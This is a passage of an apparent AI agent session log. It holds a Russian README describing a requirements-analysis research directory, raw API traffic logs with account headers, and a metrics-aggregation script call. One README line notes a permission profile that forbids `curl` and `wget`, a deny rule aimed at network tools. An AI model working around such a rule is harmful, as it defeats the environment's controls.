\u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u043b\u044e\u0441 \u0441\u043f\u043b\u043e\u0448\u043d\u043e\u0439 \u0430\u0443\u0434\u0438\u0442\\n  \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0431\u043b\u043e\u043a\u043e\u0432 \u043c\u043e\u0434\u0443\u043b\u044f `ba-meta-model/`.\\n  \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f ADR-014 \u00ab\u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441\u00bb.\\n\\n- [`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0430\u0445 `8cbf82a` (\u0441\u043f\u0438\u0446\u0430) \u0438\\n  `15aa76f` (\u0425\u0430\u0431): `D1` \u2014 29 \u043c\u0435\u0441\u0442 \u0441\u043a\u043b\u0435\u0439\u043a\u0438 \u00ab\u0424\u0422/\u0422\u0417\u00bb \u0432 \u043e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442; `D2` \u2014 4\\n  \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430; `D3` \u2014 7 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438\u0437 13 \u0431\u0435\u0437\\n  \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430; `D4` \u2014 8 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438\u0437 13 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f; `D5` \u2014 6\\n  \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432 \u0441\u043f\u0438\u0446\u0435 \u043f\u0440\u043e\u0442\u0438\u0432 0 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0432 \u0425\u0430\u0431\u0435; `D6` \u2014\\n  \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 `\u0421\u0438\u0441\u0442\u0435\u043c\u0430`, `\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c`, `\u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441`; `D7` \u2014 66 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u044b \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432; `D8` \u2014 \u043e\u0434\u043d\u043e \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0435 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f\\n  \u043f\u0440\u043e\u0442\u0438\u0432 \u0434\u0432\u0443\u0445 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u043e \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u043c\u043e\u0434\u0443\u043b\u0435\u0439\\n  `process-taxonomy/`, `operation-taxonomy/` \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f ADR-015.\\n\\n- [`2026-09-10-gigacode-environment-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-gigacode-environment-facts.md)\\n  \u2014 \u0441\u043d\u0438\u043c\u043e\u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode \u043d\u0430 GitVerse: 11 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438\u0437\\n  11 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b, 24 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 `GC-1`\u2013`GC-24` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b. \u0421\u043d\u0438\u043c\u043e\u043a\\n  **\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u0435\u0442** \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 0.1 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0442\\n  \u0438 \u0444\u043e\u0440\u043c\u0430 `SKILL.md` \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u0430 \u043f\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0438: \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430\u0432\u044b\u043a\u0430 \u0437\u0430\u0434\u0430\u043d \u0441\u0440\u0435\u0434\u043e\u0439\\n  (`.agents/skills/<\u0438\u043c\u044f>/SKILL.md`, \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 `name` \u0438 `description`,\\n  \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u0438, \u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430), \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439\\n  \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, \u0430 `curl` \u0438 `wget` \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u044b \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u043c \u043f\u0440\u0430\u0432. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n  \u043f\u0440\u0430\u0432\u0438\u043b `SK-0`\u2026`SK-10` \u0438 `GB-5`.\\n\\n## \u042d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b\\n\\n- [`exp/ba-requirements-normalization-539/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-requirements-normalization-539)\\n  \u2014 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0430\u0433\u0440\u0435\u0433\u0430\u0442\u043e\u0440 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 `runs/` (issue\\n  [#539](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/539)).\\n- [`exp/ba-rrp-full-cycle-545/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-rrp-full-cycle-545)\\n  \u2014 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u0434\u043b\u044f \u043c\u043e\u0434\u0443\u043b\u0435\u0439 `M1`\u2013`M4` (issue\\n  [#545](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/545)).\\n- [`exp/ba-methodology-unification-557/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-methodology-unification-557)\\n  \u2014 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440 \u0442\u0440\u0451\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432: \u0440\u0435\u0435\u0441\u0442\u0440 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, \u043a\u043b\u0430\u0441\u0441\u044b,\\n  \u0441\u0442\u0430\u0442\u0443\u0441\u044b \u0438 \u0433\u0440\u0430\u0444 \u0441\u0441\u044b\u043b\u043e\u043a (issue\\n  [#557](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557)).\\n\\n- [`exp/ba-micro-structure-561/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-micro-structure-561)\\n  \u2014 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438 \u0434\u0432\u0430\\n  \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u044d\u0442\u0430\u043b\u043e\u043d\u0430 Golden Set \u0434\u043b\u044f \u043a\u043b\u0430\u0441\u0441\u043e\u0432 `contact-center` \u0438\\n  `self-service-lk` (issue\\n  [#561](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561)).\\n\\n- [`exp/ba-meta-model-563/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-meta-model-563)\\n  \u2014 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432,\\n  \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0440\u0435\u0436\u0438\u043c\u0430, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435\\n  \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0430 (issue\\n  [#563](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563)).\\n\\n- [`exp/ba-process-taxonomy-571/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-process-taxonomy-571)\\n  \u2014 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 \u0432\u043e\u0441\u044c\u043c\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u0441\u0435\u043c\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0435\u0439\u0441\u043e\u0432\\n  \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c\u0438 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f\u043c\u0438 \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043d\u043e\u0432\u043e\u0439 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438: \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 `20-*.md`\\n  \u043e\u0431\u043e\u0438\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043a\u0435\u0439\u0441\u0430\u043c\u0438.\\n  \u0422\u0430\u043c \u0436\u0435 \u2014 \u0441\u043d\u0438\u043c\u043e\u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u044b GigaCode: \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\\n  \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 24 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043e\u043a, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u043e\u0440\u043c\u0430 (issue\\n  [#571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)).\\n\\n## \u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a\\n\\n\u0412\u0441\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u2014 **\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u043f\u043e\u043b\u043d\u044b\u0435 URL). \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e\\n\u0432 issue [#539](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/539).\\n\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\\n`40-practice-and-cases.md`, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 P2\\n([`tools/validate-rrp-links.sh`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/tools/validate-rrp-links.sh));\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u0432 \u0441\u0430\u043c\u043e\u043c \u0444\u0430\u0439\u043b\u0435.\",\n[2026-09-29T07:45:31.265Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:31.265Z] [INFO]       }\n[2026-09-29T07:45:31.265Z] [INFO]     ]\n[2026-09-29T07:45:31.265Z] [INFO]   },\n[2026-09-29T07:45:31.265Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:31.265Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:31.265Z] [INFO]   \"uuid\": \"1b2f1e20-42e2-401a-90a9-7ebeb5ae4ebb\",\n[2026-09-29T07:45:31.265Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:31.257Z\",\n[2026-09-29T07:45:31.265Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:31.265Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:31.265Z] [INFO] }\n[2026-09-29T07:45:31.284Z] [STDOUT] [log_067c0d] sending request {\n[2026-09-29T07:45:31.290Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:31.292Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:31.295Z] [STDOUT]   options: {\n[2026-09-29T07:45:31.303Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:31.307Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:31.310Z] [STDOUT]     body: {\n[2026-09-29T07:45:31.315Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:31.318Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:31.321Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:31.325Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:31.327Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:31.330Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:31.334Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:31.338Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:31.343Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:31.347Z] [STDOUT]   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https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 870ms\n[2026-09-29T07:45:32.158Z] [STDOUT] [log_067c0d] response start {\n[2026-09-29T07:45:32.161Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:32.163Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:32.168Z] [STDOUT]   headers: {\n[2026-09-29T07:45:32.175Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:32.181Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:32.185Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:32.190Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:32.195Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:32.202Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:32.207Z] [STDOUT]   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\"no-cache\",\n[2026-09-29T07:45:32.274Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:32.281Z] [STDOUT]     \"cf-ray\": \"a4295e6a9c4629ad-FRA\",\n[2026-09-29T07:45:32.289Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:32.296Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:32.302Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:32.306Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:32.312Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:32 GMT\",\n[2026-09-29T07:45:32.318Z] [STDOUT]     \"request-id\": \"req_011CfXMmEgJxq8t6T4BygNE9\",\n[2026-09-29T07:45:32.331Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:32.340Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:32.345Z] [STDOUT]     traceresponse: \"00-715ab9f46b7f224edc7fd4d4ded237bc-7c749effdb8166ee-01\",\n[2026-09-29T07:45:32.351Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:32.355Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:32.358Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:32.361Z] [STDOUT]   },\n[2026-09-29T07:45:32.364Z] [STDOUT]   durationMs: 870,\n[2026-09-29T07:45:32.368Z] [STDOUT] }\n[2026-09-29T07:45:32.375Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:32.380Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:32 GMT\",\n[2026-09-29T07:45:32.387Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:32.391Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:32.396Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:32.404Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:32.410Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:32.415Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:32.421Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:32.436Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:32.460Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:32.467Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:32.470Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:32.475Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:32.478Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:32.484Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:32.488Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:32.492Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:32.497Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:32.502Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:32.505Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:32.511Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:32.540Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:32.544Z] [STDOUT]   \"request-id\": \"req_011CfXMmEgJxq8t6T4BygNE9\",\n[2026-09-29T07:45:32.548Z] [STDOUT]   \"traceresponse\": \"00-715ab9f46b7f224edc7fd4d4ded237bc-7c749effdb8166ee-01\",\n[2026-09-29T07:45:32.558Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:32.563Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:32.567Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:32.574Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:32.584Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:32.589Z] [STDOUT]   \"cf-ray\": \"a4295e6a9c4629ad-FRA\",\n[2026-09-29T07:45:32.595Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:32.600Z] [STDOUT] [log_067c0d] response parsed {\n[2026-09-29T07:45:32.604Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:32.608Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:32.611Z] [STDOUT]   body: X {\n[2026-09-29T07:45:32.614Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:32.618Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:32.622Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:32.627Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:32.629Z] [STDOUT]     },\n[2026-09-29T07:45:32.631Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:32.640Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:32.644Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:32.648Z] [STDOUT]   },\n[2026-09-29T07:45:32.651Z] [STDOUT]   durationMs: 872,\n[2026-09-29T07:45:32.656Z] [STDOUT] }\n[2026-09-29T07:45:32.662Z] [INFO] {\n[2026-09-29T07:45:32.662Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:32.662Z] [INFO]   \"message\": {\n[2026-09-29T07:45:32.662Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:32.662Z] [INFO]     \"id\": \"msg_011CfXMkiXbmzrk21KPLjzD2\",\n[2026-09-29T07:45:32.662Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:32.662Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:32.662Z] [INFO]     \"content\": [\n[2026-09-29T07:45:32.662Z] [INFO]       {\n[2026-09-29T07:45:32.662Z] [INFO]    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n(m.get('tokens_dialog_total'))]; print('tokdlg',len(T),sum(t for _,t in T))\\nTI=[n(m['tokens_input']) for r,m in a.items() if n(m.get('tokens_input'))]; print('tokin',len(TI),sum(TI))\\nTO=[n(m['tokens_output']) for r,m in a.items() if n(m.get('tokens_output'))]; print('tokout',len(TO),sum(TO))\\nD=[n(m['duration_active_s']) for r,m in a.items() if n(m.get('duration_active_s')) is not None]; print('dur',len(D),sum(D)/3600)\\nE=[n(m['episodes']) for r,m in a.items() if n(m.get('episodes')) is not None]; print('episodes',len(E),sum(E))\\nB=[n(m['ba_edits']) for r,m in a.items() if n(m.get('ba_edits')) is not None]; print('ba_edits',len(B),sum(B))\\nfor r in ['RUN-0014','RUN-0017','RUN-0019','RUN-0020','RUN-0023','RUN-0062','RUN-0063','RUN-0064','RUN-0065','RUN-0066','RUN-0067','RUN-0068','RUN-0069','RUN-0056','RUN-0057']:\\n    print(r, {k:v for k,v in a[r].items() if k not in('eval',)})\\nEOF\",\n[2026-09-29T07:45:32.662Z] [INFO]           \"description\": \"Aggregate run metrics\"\n[2026-09-29T07:45:32.662Z] [INFO]         },\n[2026-09-29T07:45:32.662Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:32.662Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:32.662Z] [INFO]         }\n[2026-09-29T07:45:32.662Z] [INFO]       }\n[2026-09-29T07:45:32.662Z] [INFO]     